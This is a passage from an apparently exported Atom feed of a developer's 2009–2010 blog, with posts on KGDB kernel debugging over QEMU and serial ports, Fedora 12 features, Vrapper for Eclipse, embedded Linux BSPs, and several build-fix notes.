&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Set&amp;nbsp;&lt;b&gt;CONFIG_KGDB_CONSOLE=y&amp;nbsp;&lt;/b&gt;to serve as the KGDB I/O driver (&lt;a id="e9nm" href="http://lxr.linux.no/linux+v2.6.32/lib/Kconfig.kgdb" title="linux-2.6/lib/Kconfig.kgdb"&gt;linux-2.6/lib/Kconfig.kgdb&lt;/a&gt;, &lt;a id="zsgl" href="http://lxr.linux.no/linux+v2.6.32/drivers/serial/kgdboc.c" title="linux-2.6/drivers/serial/kgdboc.c"&gt;linux-2.6/drivers/serial/kgdboc.c&lt;/a&gt;):&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;blockquote class="webkit-indent-blockquote" style="border: medium none ; margin: 0pt 0pt 0pt 40px;"&gt;&lt;div&gt;config KGDB_SERIAL_CONSOLE&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;tristate "KGDB: use kgdb over the serial console"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;select CONSOLE_POLL&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;select MAGIC_SYSRQ&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;default y&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;help&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Share a serial console with kgdb. Sysrq-g must be used&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;to break in initially.&lt;/div&gt;&lt;/blockquote&gt;&lt;h2&gt;KGDB Boot and Module Options&lt;br&gt;&lt;/h2&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Boot with &lt;b&gt;kgdboc=&amp;lt;&lt;i&gt;tty-device&lt;/i&gt;&amp;gt;,[&lt;i&gt;baud&lt;/i&gt;] &lt;/b&gt;(ex: kgdboc=ttyAMA1 for qemu-system-arm)&lt;/li&gt;&lt;li&gt;(alternatively) From sysfs&lt;div&gt;&lt;b&gt;echo &lt;i&gt;TTY_DEVICE&lt;/i&gt; &amp;gt; /sys/module/kgdboc/parameters/kgdboc&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;h2&gt;Connecting GDB to the Kernel through QEMU Emulated Serial Port&lt;/h2&gt;&lt;b&gt;&lt;ul&gt;&lt;ul&gt;&lt;/ul&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;[arm-cross: linux-2.6]$&lt;/span&gt; &lt;b&gt;&lt;b&gt;&lt;b&gt;qemu-system-arm -nographic -s -M integratorcp -kernel&lt;br /&gt;./zImage-2.6.32-integratorcp-v5 -serial tcp:localhost:2345,server -net&lt;br /&gt;nic,vlan=0 -net tap,vlan=0,ifname=tap0,script=./scripts/qemu-ifup&lt;br /&gt;-append "console=ttyAMA0 root=/dev/nfs&lt;br /&gt;nfsroot=172.20.0.1:/nfsroot/box,nfsvers=3 rw&lt;br /&gt;ip=172.20.0.2::172.20.0.1:255.255.255.0 kgdboc=ttyAMA0 kgdbwait"&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;[arm-cross: linux-2.6]$ &lt;/span&gt;telnet localhost:2345&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;Wait till the telnet session show "&lt;/span&gt;&lt;b&gt;&lt;b&gt;kgdb: Waiting for connection from remote gdb..." &lt;/b&gt;&lt;/b&gt;&lt;span style="font-weight: normal;"&gt;then terminate telnet with&lt;/span&gt;&lt;b&gt;&lt;b&gt; CTRL-] &lt;/b&gt;&lt;/b&gt;&lt;span style="font-weight: normal;"&gt;then&lt;/span&gt;&lt;b&gt;&lt;b&gt; CTRL-D&lt;/b&gt;&lt;/b&gt;&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;[arm-cross: linux-2.6]$ &lt;b&gt;gdb ./vmlinux&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;(gdb) &lt;b&gt;target remote localhost:2345&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;Trouble Shooting: (gdb) &lt;/span&gt;set debug remote 1&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span style="font-weight: normal;"&gt;&lt;b&gt;&lt;h2&gt;&lt;b&gt;&lt;div&gt;Connecting GDB to the Kernel through a Physical Serial Port&lt;/div&gt;&lt;/b&gt;&lt;/h2&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-weight: normal;"&gt;[scottt@2530p linux-2.6]$ &lt;/span&gt;gdb ./vmlinux&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: normal;"&gt;(gdb) &lt;/span&gt;set remotebaud 115200&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: normal;"&gt;(gdb) &lt;/span&gt;target remote /dev/ttyS0&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-5807747987356086343?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/R7_1eSWazr8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/5807747987356086343/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2010/01/kgdb-tutorial.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5807747987356086343?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5807747987356086343?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/R7_1eSWazr8/kgdb-tutorial.html" title="KGDB Tutorial" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2010/01/kgdb-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQBQ3s6cSp7ImA9WxNbFEo.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-4419346331122546189</id><published>2009-11-17T23:17:00.008+08:00</published><updated>2009-11-18T00:12:32.519+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-18T00:12:32.519+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="qemu" /><category scheme="http://www.blogger.com/atom/ns#" term="fedora" /><category scheme="http://www.blogger.com/atom/ns#" term="linux-tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="wireshark" /><category scheme="http://www.blogger.com/atom/ns#" term="usb" /><title>Fedora 12: Favorite Bugs and Features</title><content type="html">Thanksgiving in the U.S. is just around the corner and like clockwork we have another Fedora Linux release.&lt;br /&gt;&lt;h2&gt;Fedora 12: Unite&lt;/h2&gt;&lt;br /&gt;&lt;a href="http://fedoraproject.org/wiki/Releases/12/FeatureList"&gt;&lt;img src="http://www.fedoraproject.org/static/images/f12launch.png"&gt;&lt;/a&gt;&lt;ul&gt;&lt;li&gt;Favorite (fixed) bug: &lt;a href="https://bugzilla.redhat.com/show_bug.cgi?id=531419"&gt;[531419] qemu issue with non-virtio NICs receiving heavy traffic volumes&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;I helped track down and fix this bug &lt;a href="http://lists.gnu.org/archive/html/qemu-devel/2009-10/msg02195.html"&gt;upstream&lt;/a&gt;, &lt;a href="http://lists.gnu.org/archive/html/qemu-devel/2009-10/msg02359.html"&gt;asked nicely&lt;/a&gt; and got the patch into Fedora 12's qemu-0.11 package in time. This way people following my &lt;a href="http://docs.google.com/present/view?id=ah8ht9jfffdk_1346njp3b2gj"&gt;How to handle a Linux BSP&lt;/a&gt; tutorial can still get working NFS root on an emulated ARM platform.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Favorite new feature: &lt;a href="http://wiki.wireshark.org/CaptureSetup/USB"&gt;wireshark USB traffic capture&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;The required kernel(usbmon), libpcap and wireshark changes are all in place in Fedora 12 and we can capture USB packets larger then 32 bytes, save them in .pcap files and dissect them in the familiar wireshark user interface.&lt;br /&gt;&lt;br /&gt;Everything works out of the box just by "yum install wireshark &amp;&amp; wireshark"! Doing USB work have never been more pleasant.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-4419346331122546189?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/ihiv2NGRdyI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/4419346331122546189/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2009/11/fedora-12-favorite-bugs-and-features.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/4419346331122546189?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/4419346331122546189?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/ihiv2NGRdyI/fedora-12-favorite-bugs-and-features.html" title="Fedora 12: Favorite Bugs and Features" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2009/11/fedora-12-favorite-bugs-and-features.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QAQ3Y_eip7ImA9WxNbFEo.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-635697976753757038</id><published>2009-10-30T14:12:00.003+08:00</published><updated>2009-11-18T00:29:02.842+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-18T00:29:02.842+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="vi" /><category scheme="http://www.blogger.com/atom/ns#" term="eclipse" /><title>Vrapper: Eclipse Plugin for VIM Addicts</title><content type="html">People who were exposed to the VIM editor at a young age tend to become addicted to its keybindings. I recently discovered the &lt;a href="http://vrapper.sourceforge.net/home/"&gt;Vrapper&lt;/a&gt; Eclipse plugin that although still young and not as featureful as some of the plugins for other IDEs listed &lt;a href="http://itrs.tw/wiki/IDEs_with_VIM_Emulation"&gt;here&lt;/a&gt; made using Eclipse a much more pleasurable experience.&lt;br /&gt;&lt;br /&gt;The usual reason a heavy VIM user would consider using Eclipse is for its Java refactoring or C/C++ code browsing, "find all call sites of function F" features. The C++ parsing and code completion part in particular is something proprietary tools like &lt;a href="http://www.sourceinsight.com/"&gt;Source Insight&lt;/a&gt; does a lot better then older open source tools like &lt;a href="http://cscope.sourceforge.net/"&gt;cscope&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In a previous job, I hacked extensively on a code base where Java code with deep class hierarchies and C and C++ code from different vintage and style was linked into a single Linux process. Some of that code implemented device drivers in userspace using a chip vendor supplied abstraction layer which is of course not as well designed as the Linux kernel driver API. I relied on Eclipse and cscope + VIM to navigate the Java and C/C++ part of that code base respectively. I wish I could have used the Vrapper plugin then.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-635697976753757038?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/RD88QLlzqZk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/635697976753757038/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2009/10/vrapper-eclipse-plugin-for-vim-addicts.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/635697976753757038?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/635697976753757038?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/RD88QLlzqZk/vrapper-eclipse-plugin-for-vim-addicts.html" title="Vrapper: Eclipse Plugin for VIM Addicts" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2009/10/vrapper-eclipse-plugin-for-vim-addicts.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEcMQ3o8fCp7ImA9WxNSGU0.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-9023203740208269069</id><published>2009-08-28T15:11:00.004+08:00</published><updated>2009-09-02T23:41:22.474+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-02T23:41:22.474+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="board-support-package" /><category scheme="http://www.blogger.com/atom/ns#" term="embedded" /><category scheme="http://www.blogger.com/atom/ns#" term="linux-tutorial" /><title>How to Handle a Linux BSP: from u-boot to "Hello World!"</title><content type="html">&lt;iframe src="http://docs.google.com/present/embed?id=ah8ht9jfffdk_1346njp3b2gj" frameborder="0" width="410" height="342"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Get a minimal Linux system capable of running a "Hello World" C application from the pack of software that your chip vendor calls their Linux "Board Support Package".&lt;/li&gt;&lt;li&gt;Configure and build the u-boot bootloader, the Linux kernel, the busybox minimal application environment and getting dynamically linked applications working.&lt;/li&gt;&lt;li&gt;Uses the qemu emulator to emulate an ARM hardware platform that loads all software over the network.&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-9023203740208269069?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/qxLXFEWlFl4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/9023203740208269069/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2009/08/how-to-handle-linux-bsp-from-u-boot-to.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/9023203740208269069?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/9023203740208269069?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/qxLXFEWlFl4/how-to-handle-linux-bsp-from-u-boot-to.html" title="How to Handle a Linux BSP: from u-boot to &quot;Hello World!&quot;" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2009/08/how-to-handle-linux-bsp-from-u-boot-to.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYEQ3k_fip7ImA9WxJaEkk.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-3354790740277957349</id><published>2009-08-03T03:57:00.008+08:00</published><updated>2009-08-03T04:15:02.746+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-03T04:15:02.746+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="mozrunner" /><category scheme="http://www.blogger.com/atom/ns#" term="windmill" /><category scheme="http://www.blogger.com/atom/ns#" term="fedora" /><category scheme="http://www.blogger.com/atom/ns#" term="multilib" /><category scheme="http://www.blogger.com/atom/ns#" term="testing" /><category scheme="http://www.blogger.com/atom/ns#" term="x86_64" /><title>mozrunner on Fedora x86_64</title><content type="html">If you try to use the &lt;a href="http://code.google.com/p/mozrunner/"&gt;mozrunner&lt;/a&gt; python library on Fedora or Red Hat x86_64, you'll get:&lt;pre&gt;$ mozrunner&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;  File "/home/scottt/work/itrs_test/env/bin/mozrunner", line 8, in &lt;module&gt;&lt;br /&gt;    load_entry_point('mozrunner==1.3.5', 'console_scripts', 'mozrunner')()&lt;br /&gt;  File "/home/scottt/work/itrs_test/env/lib/python2.6/site-packages/mozrunner/__init__.py", line 86, in main&lt;br /&gt;    moz = get_moz_from_settings(settings)&lt;br /&gt;  File "/home/scottt/work/itrs_test/env/lib/python2.6/site-packages/mozrunner/__init__.py", line 165, in get_moz_from_settings&lt;br /&gt;    cmd_args=settings['MOZILLA_CMD_ARGS'])&lt;br /&gt;  File "/home/scottt/work/itrs_test/env/lib/python2.6/site-packages/mozrunner/__init__.py", line 131, in get_moz&lt;br /&gt;    raise Exception ('No default or local profile has been set.')&lt;br /&gt;Exception: No default or local profile has been set.&lt;br /&gt;&lt;/pre&gt;the solution: see &lt;a href="http://code.google.com/p/mozrunner/issues/detail?id=10"&gt;mozrunner issue 10&lt;/a&gt; for a trivial patch to ask mozrunner to look under /usr/lib64 instead of just /usr/lib.&lt;br /&gt;&lt;br /&gt;If you're trying to use the &lt;a href="http://www.getwindmill.com/"&gt;windmill web testing framework&lt;/a&gt;, you'll need &lt;a href="http://scottt.tw/mozrunner-1.x-fedora-x86_64.patch"&gt;mozrunner-1.x-fedora-x86_64.patch&lt;/a&gt; instead until someone ports windmill to mozrunner-2.&lt;br /&gt;&lt;br /&gt;Don't you just love 64 bit userspace packaging differences (multilib) between Linux distributions?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-3354790740277957349?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/LDsXnj3MssY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/3354790740277957349/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2009/08/mozrunner-on-fedora-x8664.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/3354790740277957349?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/3354790740277957349?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/LDsXnj3MssY/mozrunner-on-fedora-x8664.html" title="mozrunner on Fedora x86_64" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2009/08/mozrunner-on-fedora-x8664.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QGQ3k5fip7ImA9WxNbFEo.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-5210984915767420630</id><published>2009-07-20T22:08:00.004+08:00</published><updated>2009-11-18T00:28:42.726+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-18T00:28:42.726+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="file_offset_bits" /><category scheme="http://www.blogger.com/atom/ns#" term="mkdosfs" /><category scheme="http://www.blogger.com/atom/ns#" term="large_file_support" /><title>mkdosfs on larger then 2GB filesystems</title><content type="html">If you have trouble creating FAT (a.k.a. vfat, fat32) filesystems larger then 2GB, remember to build mkfs.vfat (mkdosfs) from &lt;a href="http://www.daniel-baumann.ch/software/dosfstools/"&gt;dosfstools&lt;/a&gt; with:&lt;pre&gt;&lt;br /&gt; make CFLAGS='-D_FILE_OFFSET_BITS=64'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Some embedded chip vendors forget to do this in their Linux Board Support Packages.&lt;br /&gt;&lt;br /&gt;See &lt;a href="http://www.kernel.org/doc/man-pages/online/pages/man7/feature_test_macros.7.html"&gt;'feautre_test_macros(7)'&lt;/a&gt; for the details regarding defining the '_FILE_OFFSET_BITS=64' C preprocessor symbol.&lt;br /&gt;Basically it causes the 'off_t' type in the C library to become 64 bits. ISO C and POSIX functions that uses 'off_t' include:&lt;pre&gt;&lt;br /&gt; ftruncate, lockf, lseek, pread, pwrite, truncate, fseek, ftello&lt;br /&gt;&lt;/pre&gt; Google &lt;a href="http://www.google.com.tw/search?q=large+file+support&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a"&gt;'large file support'&lt;/a&gt; for more info.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-5210984915767420630?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/O5EshRnSUP4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/5210984915767420630/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2009/07/mkdosfs-on-larger-then-2gb-filesystems.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5210984915767420630?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/5210984915767420630?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/O5EshRnSUP4/mkdosfs-on-larger-then-2gb-filesystems.html" title="mkdosfs on larger then 2GB filesystems" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2009/07/mkdosfs-on-larger-then-2gb-filesystems.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QMQH04fyp7ImA9WxNbFEo.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-8866469478163462508</id><published>2009-04-03T20:21:00.004+08:00</published><updated>2009-11-18T00:29:41.337+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-18T00:29:41.337+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="getline" /><category scheme="http://www.blogger.com/atom/ns#" term="gcc" /><category scheme="http://www.blogger.com/atom/ns#" term="posix" /><title>'getline' is in POSIX 2008 and exposed in stdio.h by default</title><content type="html">While using &lt;a href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=4401"&gt;buildroot-avr32-v2.3.0&lt;/a&gt; on Fedora 11, I got this build failure:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;linux-2.6.27.6]$ make headers_install&lt;br /&gt;&lt;... SNIP ...&gt;&lt;br /&gt; HOSTCC  scripts/unifdef&lt;br /&gt;scripts/unifdef.c:209: error: conflicting types for ‘getline’&lt;br /&gt;/usr/include/stdio.h:653: note: previous declaration of ‘getline’ was here&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://bugzilla.redhat.com/show_bug.cgi?id=493941"&gt;Apparently&lt;/a&gt;, 'getline' is now part of POSIX 2008 and is exposed by glibc-2.9.90's stdio.h by default without the user having to declare feature test macros like "#define _XOPEN_SOURCE NNN" or "_GNU_SOURCE".&lt;br /&gt;I pity the kids who are now trying the 'getline' example from&lt;br /&gt;&lt;a href="http://cm.bell-labs.com/cm/cs/cbook/"&gt;"The C Programming"&lt;/a&gt; Chapter 1 and don't know they need to use 'c89' (or 'c99', 'gcc -std=c99 etc) instead of 'gcc'.&lt;br /&gt;&lt;br /&gt;Edit: see also: &lt;ul&gt;&lt;li&gt;&lt;a href="http://linux.derkeiler.com/Mailing-Lists/Kernel/2009-03/msg04460.html"&gt;[PATCH] scripts/unifdef.c: rename getline symbol to something else&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://lists.busybox.net/pipermail/uclibc/2009-April/042249.html"&gt;getline not working in Fedora Rawhide&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-8866469478163462508?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/dQHGNHzNkNE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/8866469478163462508/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2009/04/getline-is-in-posix-2008-and-exposed-in.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/8866469478163462508?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/8866469478163462508?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/dQHGNHzNkNE/getline-is-in-posix-2008-and-exposed-in.html" title="'getline' is in POSIX 2008 and exposed in stdio.h by default" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2009/04/getline-is-in-posix-2008-and-exposed-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MFQ3g_eCp7ImA9WxNbFEo.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-6160663304363548071</id><published>2009-03-21T21:40:00.002+08:00</published><updated>2009-11-18T00:30:12.640+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-18T00:30:12.640+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="c++" /><category scheme="http://www.blogger.com/atom/ns#" term="gcc" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>My first Android (gcc-4.4 build) patch</title><content type="html">My first patches to Google's &lt;a href="http://source.android.com/download"&gt;Android&lt;/a&gt; code base are trivial: they make the Android platform build on Fedora 11's gcc-4.4 pre-release:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://review.source.android.com/9328"&gt; http://android.git.kernel.org/?p=platform/development.git;a=commit;h=eda65f5f60c01a6eb4f2e9e7ff79c59fe755c2f7&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://review.source.android.com/Gerrit#change,9330"&gt; http://android.git.kernel.org/?p=platform/development.git;a=commit;h=0c4ee7741c94376599256f923c08dac18d090e97&lt;/a&gt;&lt;/li&gt;&lt;li&gt;More in the &lt;a href="https://review.source.android.com/Gerrit#dashboard,1001760"&gt;queue&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;I got stuck half way through on &lt;a href="http://groups.google.com/group/android-platform/browse_frm/thread/775582c99fa2980f"&gt;this&lt;/a&gt; known issue of the "opencore" library failing to build because of the recent "cupcake" branch merge so there are likely more gcc-4.4 patches required.&lt;br /&gt;&lt;br /&gt;Getting the trivial patches 